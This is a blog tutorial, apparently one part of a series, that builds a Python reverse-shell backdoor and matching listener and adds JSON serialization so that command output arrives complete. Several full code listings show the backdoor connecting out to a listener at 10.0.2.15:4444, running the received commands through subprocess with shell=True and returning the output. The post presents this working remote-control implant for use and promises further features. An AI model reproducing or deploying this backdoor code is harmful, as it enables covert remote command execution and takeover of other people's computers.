Backdoor 04 : What is Serialization | Modifying our backdoor & listener using json

Serialization programming - Theory

  • Serialization or marshaling is the process of converting object state into a format that can be transmitted or stored. 
  • The serialization changes the object state into series of bits. The object state could be reconstructed later in the opposite process, called deserialization or unmarshalling
The data we receive was incomplete?

#Example: 
  • I made a file named sample.txt in windows  
  • Then I ran my backdoor and listener to establish the connection 
  • To open the sample.txt i did more sample.txt
  • the data we see was incomplete 
  • In sample.txt i mentioned start and end for us to see the data is receiving was accurate
AS U CAN SEE IN THE IMAGE!
#TO GET COMPLETE DATA

Now, there are a number of ways that you could do this.
You could even write your own class that does this.
But a very common way of doing this in Python is to use 
JSON or Pickle.
#CODE: IMPLEMENTING JSON IN LISTENER
  1. #!/usr/bin/env python
  2. import socket, json


  3. class Listener:
  4. def __init__(self, ip, port):
  5. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7. listener.bind((ip, port))
  8. listener.listen(0)
  9. print("[+]Waiting for incomming connection")
  10. self.connection, address = listener.accept()
  11. print("[+]Got a connection from" + str(address))


  12. def json_send(self, data):
  13. json_data = json.dumps(data)
  14. self.connection.send(json_data)

  15. def json_receive(self):
  16. json_data = self.connection.recv(1024)
  17. return json.loads(json_data)

  18. def execute_remotely(self, command):
  19. self.json_send(command)
  20. return self.json_receive()

  21. def run(self):
  22. while True:
  23. command = raw_input(">> ")
  24. result = self.execute_remotely(command)
  25. print(result)

  26. my_listener = Listener("10.0.2.15", 4444)
  27. my_listener.run()
#EXPLANATION
line-16 = 
  • def json_send(self, data):
we define a function called it json_send 
we will use this method instead of the socket send method every time we send data
Now, this method is going to take the data to be sent as an input.
And then the first thing that it's going to do is convert this data into an object to do this, we're going to need to import the JSON library.[ import JSON ]

line-17 = 
  • json_data = json.dumps(data)
then we say Jason_data which is the name of our variable,
is going to be equal to Json.dumps.
So this is the method that will convert my data into json object.

line-18 = 
  • self.connection.send(json_data)
And then I'm going to call the normal send method that we always use.

#SUMMARIES
All we're doing is we're calling a method called dumps, which is implemented in the JSON class,which we imported in begging.
We're passing the data to it.
So all of this is going to convert the data that we're getting as an input into JSON object.[ data → JSON object]
We're starting this in a variable called JSON data, and then we're sending this variable using the
normal SEND method that we always use.

Now, because we're sending this data to on JSON object, our receive method needs to be able to expect this and unwrap[OPEN] this to read the data that's inside it.


So it's very similar to what we are doing here.
First of all, we put all of the data in our BOX or in our JSON object.
We're going to transfer this object through the TCP stream and this will be received in our receive
method.

So we need to program this method in a way that it's able to open this package and read whatever data that's inside it.

line-20 = 
  • def json_receive(self):
So we'll call this method json_receive

line-21= 
  • json_data = self.connection.recv(1024)
And the first thing that this method will do is it's going to try to receive the object itself before even unwrapping it.
So we're going to use the normal socket receive method.

line-22 = 
  • return json.loads(json_data)
once we receive this, we're going to be able to convert it into whatever object that it was by calling the loads method in the JSON class, and we'll pass the JSON data to it.

And this will basically unwrap whatever data that's sent as the JSON object and return it to us.
And since this is a received method, I'm going to return this ones the method finishes execution.

#SUMMARIES
All we're doing is, first of all, we're receiving the data and we're storing it in a variable called JSON data.
But this data is still in JSON format because we sent it in JSON format.
So we have to unwrap this.
And we're doing this by calling the loads method, which is implemented in the adjacent class, which
we imported, and we're passing the JSON data to it.
This will return the original data.
So this will basically do the unpackaged opening in this package and giving us whatever data that's
in it.     

Now that's it.
The methods are done and all we have to do right now is use them wherever we send or receive data in
our listener and in our back door.

we need to implement JSON send and receive
line-25/26 = 
  • self.json_send(command)
  • return self.json_receive()
The next thing that we need to do is use this in our backdoor as well.

#CODE: IMPLEMENTING JSON IN LISTENER
  1. #!/usr/bin/env python
  2. import socket
  3. import subprocess
  4. import json

  5. class Backdoor:
  6. def __init__(self, ip, port):
  7. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8. self.connection.connect((ip, port))

  9. def json_send(self, data):
  10. json_data = json.dumps(data)
  11. self.connection.send(json_data)

  12. def json_receive(self):
  13. json_data = self.connection.recv(1024)
  14. return json.loads(json_data)

  15. def execute_system_command(self, command):
  16. return subprocess.check_output(command, shell=True)

  17. def run(self):
  18. while True:
  19. command = self.json_receive()
  20. command_result = self.execute_system_command(command)
  21. self.json_send(command_result)
  22. connection.close()

  23. my_backdoor = Backdoor("10.0.2.15", 4444)
  24. my_backdoor.run()
    Similarly we use this in our Backdoor
    So I'm going to copy both of these methods and I'm going to place them in my backdoor.
    And we need to make sure, again, to use these methods whenever we're sending and receiving data.
    we use json_send/receive
    line = 25/26
    • command_result = self.json_receive(command)
    • self.json_send(command_result)
    #WHEN WE RUN OUR PROGRAMM
    #BACKDOOR IN WINDOWS AND LISTENER IN KALI
    #WE FACE A ERROR
    #EXPLANATION
    Now, if we look at the error code, the main error that we're getting is a value error.
    when we were receiving the package in here, we were still at this point, we couldn't
    receive the full package.
    We only received part of the package.
    And therefore, you can see that it's telling us this is happening on line 21 where we are trying to
    unwrap whatever that we received and converting it back to its original text.

    We get an error cuz we receive a file greater than 1024 [ in loads method ]
    THERFORE we receive value error
    So what we need to do is we need to keep receiving data until the loads method is able to convert this
    message or this data back to its original structure.
    Hence we use WHILE LOOP
    #CODE: IMPLEMENTING LOOP IN LISTENER
    1. #!/usr/bin/env python
    2. import socket
    3. import json

    4. class Listener:
    5. def __init__(self, ip, port):
    6. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    7. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    8. listener.bind((ip, port))
    9. listener.listen(0)
    10. print("[+]Waiting for incomming connection")
    11. self.connection, address = listener.accept()
    12. print("[+]Got a connection from" + str(address))

    13. def json_send(self, data):
    14. json_data = json.dumps(data)
    15. self.connection.send(json_data)

    16. def json_receive(self):
    17. json_data = ""
    18. while True:
    19. try:
    20. json_data = json_data + self.connection.recv(1024)
    21. return json.loads(json_data)
    22. except ValueError:
    23. continue

    24. def execute_remotely(self, command):
    25. self.json_send(command)
    26. return self.json_receive()

    27. def run(self):
    28. while True:
    29. command = raw_input(">> ")
    30. result = self.execute_remotely(command)
    31. print(result)

    32. my_listener = Listener("10.0.2.15", 4444)
    33. my_listener.run()
      #EXPLANATION
      • json_data = ""
      • while True:
        try:
      • json_data = json_data +
      • json_data = json_data + self.connection.recv(1024)
      • return json.loads(json_data)
      • except ValueError:
      • continue
      We are creating an infinite loop by doing while True.
      And in this infinite loop, we want to try, to receive data, once we receive the data, I want to convert this Jason data back to its original structure.
      • except ValueError:
      And we will get an error, we accept a value error, which is the error that we were getting. If we get this error, that means that we need to receive more data.

      So we are going to do continue.--> continue

      This will bring me back to the top of the loop where we're going to try to receive more JSON data.

      Now, I also need to modify this, because the way that this loophole works, every time we enter this loop, we're going to overwrite whatever is stored in the JSON data variable.
      • json_data = json_data + self.connection.recv(1024)
      the JSON data is equal to whatever is currently stored in the adjacent data, plus add 1024 bytes for me from the TCP stream to my existing Jason data.

      this will convert back to its original structure,if we face error it will go back to the start of the loop

      • json_data = ""
      Now, since this is an infinite loop and we're using this variable inside it and we're making this variable is equal to itself, we have to initialize this variable to some value for the first time the loop runs. So I'm just going to say my json_data is equal to nothing at the start.


      #Summarise
      Then every time the loop runs, it's going to add 1024 bytes from the TCP stream to the JSON data,
      try to convert it to its original structure.
      If this works, we're going to return it.
      Otherwise we'll add more data to it.

      Now, we will also need to use this code inside our backdoor in the json_receive, so I'm going to
      copy and paste it.
      #CODE: IMPLEMENTING LOOP IN BACKDOOR
      1. #!/usr/bin/env python

      2. import socket
      3. import subprocess
      4. import json

      5. class Backdoor:
      6. def __init__(self, ip, port):
      7. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      8. self.connection.connect((ip, port))

      9. def json_send(self, data):
      10. json_data = json.dumps(data)
      11. self.connection.send(json_data)

      12. def json_receive(self):
      13. json_data = ""
      14. while True:
      15. try:
      16. json_data = json_data + self.connection.recv(1024)
      17. return json.loads(json_data)
      18. except ValueError:
      19. continue

      20. def execute_system_command(self, command):
      21. return subprocess.check_output(command, shell=True)

      22. def run(self):
      23. while True:
      24. command = self.json_receive()
      25. command_result = self.execute_system_command(command)
      26. self.json_send(command_result)
      27. connection.close()

      28. my_backdoor = Backdoor("10.0.2.15", 4444)
      29. my_backdoor.run()
      #FINAL OUTPUT


      OK, now that we built a strong base for our back door and we know that we can use it to send and receive data completely.

      Let's go ahead and start implementing cool and useful features in this back door.


      Post a Comment

      If you have any doubts, please let me know

      Previous Post Next Post